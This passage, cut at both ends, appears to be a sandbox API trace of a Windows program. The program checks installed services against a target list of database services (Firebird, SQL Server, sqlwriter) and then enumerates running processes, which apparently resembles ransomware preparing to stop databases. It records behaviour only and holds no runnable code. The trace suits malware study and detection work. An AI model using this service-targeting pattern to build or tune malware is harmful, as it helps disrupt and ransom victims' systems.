(lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0302.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0302.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0302.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0302.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0302.226] lstrlenW (lpString="Dnscache") returned 8 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0302.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0302.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0302.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0302.227] lstrlenW (lpString="DoSvc") returned 5 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0302.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0302.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0302.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0302.227] lstrlenW (lpString="DPS") returned 3 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0302.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0302.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0302.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0302.227] lstrlenW (lpString="DusmSvc") returned 7 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0302.227] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0302.227] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0302.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0302.227] lstrlenW (lpString="EventLog") returned 8 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0302.227] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0302.227] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0302.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0302.227] lstrlenW (lpString="EventSystem") returned 11 [0302.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0302.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0302.228] lstrlenW (lpString="FontCache") returned 9 [0302.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0302.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0302.228] lstrlenW (lpString="gpsvc") returned 5 [0302.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0302.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0302.228] lstrlenW (lpString="iphlpsvc") returned 8 [0302.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0302.228] lstrlenW (lpString="KeyIso") returned 6 [0302.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0302.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0302.228] lstrlenW (lpString="LanmanServer") returned 12 [0302.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0302.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0302.228] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0302.228] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0302.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0302.229] lstrlenW (lpString="LanmanWorkstation") returned 17 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0302.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0302.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0302.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0302.229] lstrlenW (lpString="lfsvc") returned 5 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0302.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0302.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0302.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0302.229] lstrlenW (lpString="lmhosts") returned 7 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0302.229] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0302.229] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0302.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0302.229] lstrlenW (lpString="LSM") returned 3 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0302.229] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0302.229] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0302.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0302.229] lstrlenW (lpString="MapsBroker") returned 10 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0302.229] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0302.229] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0302.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0302.229] lstrlenW (lpString="MpsSvc") returned 6 [0302.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0302.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0302.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0302.230] lstrlenW (lpString="NcbService") returned 10 [0302.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0302.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0302.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0302.230] lstrlenW (lpString="netprofm") returned 8 [0302.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0302.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0302.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0302.230] lstrlenW (lpString="NgcSvc") returned 6 [0302.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0302.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0302.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0302.230] lstrlenW (lpString="NlaSvc") returned 6 [0302.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0302.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0302.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0302.230] lstrlenW (lpString="nsi") returned 3 [0302.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0302.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0302.230] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0302.230] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0302.231] lstrlenW (lpString="PcaSvc") returned 6 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0302.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0302.231] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0302.231] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0302.231] lstrlenW (lpString="PlugPlay") returned 8 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0302.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0302.231] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0302.231] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0302.231] lstrlenW (lpString="Power") returned 5 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0302.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0302.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0302.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0302.231] lstrlenW (lpString="ProfSvc") returned 7 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0302.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0302.231] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0302.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0302.231] lstrlenW (lpString="RpcEptMapper") returned 12 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0302.231] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0302.231] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0302.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0302.231] lstrlenW (lpString="RpcSs") returned 5 [0302.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0302.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0302.232] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0302.232] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0302.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0302.249] lstrlenW (lpString="SamSs") returned 5 [0302.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0302.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0302.249] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0302.249] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0302.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0302.249] lstrlenW (lpString="Schedule") returned 8 [0302.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0302.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0302.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0302.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0302.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0302.250] lstrlenW (lpString="SecurityHealthService") returned 21 [0302.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0302.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0302.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0302.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0302.250] lstrlenW (lpString="SENS") returned 4 [0302.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0302.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0302.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0302.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0302.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0302.250] lstrlenW (lpString="ShellHWDetection") returned 16 [0302.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0302.250] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0302.250] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0302.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0302.250] lstrlenW (lpString="Spooler") returned 7 [0302.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0302.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0302.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0302.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0302.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0302.251] lstrlenW (lpString="SSDPSRV") returned 7 [0302.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0302.251] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0302.251] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0302.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0302.251] lstrlenW (lpString="StateRepository") returned 15 [0302.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0302.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0302.251] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0302.251] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0302.251] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0302.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4f0 [0302.254] Process32FirstW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0302.256] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0302.256] lstrlenW (lpString="System") returned 6 [0302.256] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0302.257] lstrlenW (lpString="smss.exe") returned 8 [0302.257] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.258] lstrlenW (lpString="csrss.exe") returned 9 [0302.258] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0302.258] lstrlenW (lpString="wininit.exe") returned 11 [0302.258] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0302.259] lstrlenW (lpString="csrss.exe") returned 9 [0302.259] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0302.260] lstrlenW (lpString="winlogon.exe") returned 12 [0302.260] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0302.260] lstrlenW (lpString="services.exe") returned 12 [0302.260] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0302.261] lstrlenW (lpString="lsass.exe") returned 9 [0302.261] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.262] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.262] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0302.263] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0302.263] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.264] lstrlenW (lpString="svchost.exe") returned 11 [0302.264] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.264] lstrlenW (lpString="svchost.exe") returned 11 [0302.264] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0302.265] lstrlenW (lpString="dwm.exe") returned 7 [0302.265] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.266] lstrlenW (lpString="svchost.exe") returned 11 [0302.266] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.266] lstrlenW (lpString="svchost.exe") returned 11 [0302.266] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.267] lstrlenW (lpString="svchost.exe") returned 11 [0302.267] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.268] lstrlenW (lpString="svchost.exe") returned 11 [0302.268] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.268] lstrlenW (lpString="svchost.exe") returned 11 [0302.268] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.269] lstrlenW (lpString="svchost.exe") returned 11 [0302.269] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.270] lstrlenW (lpString="svchost.exe") returned 11 [0302.270] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.272] lstrlenW (lpString="svchost.exe") returned 11 [0302.272] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.273] lstrlenW (lpString="svchost.exe") returned 11 [0302.273] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0302.274] lstrlenW (lpString="svchost.exe") returned 11 [0302.274] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, 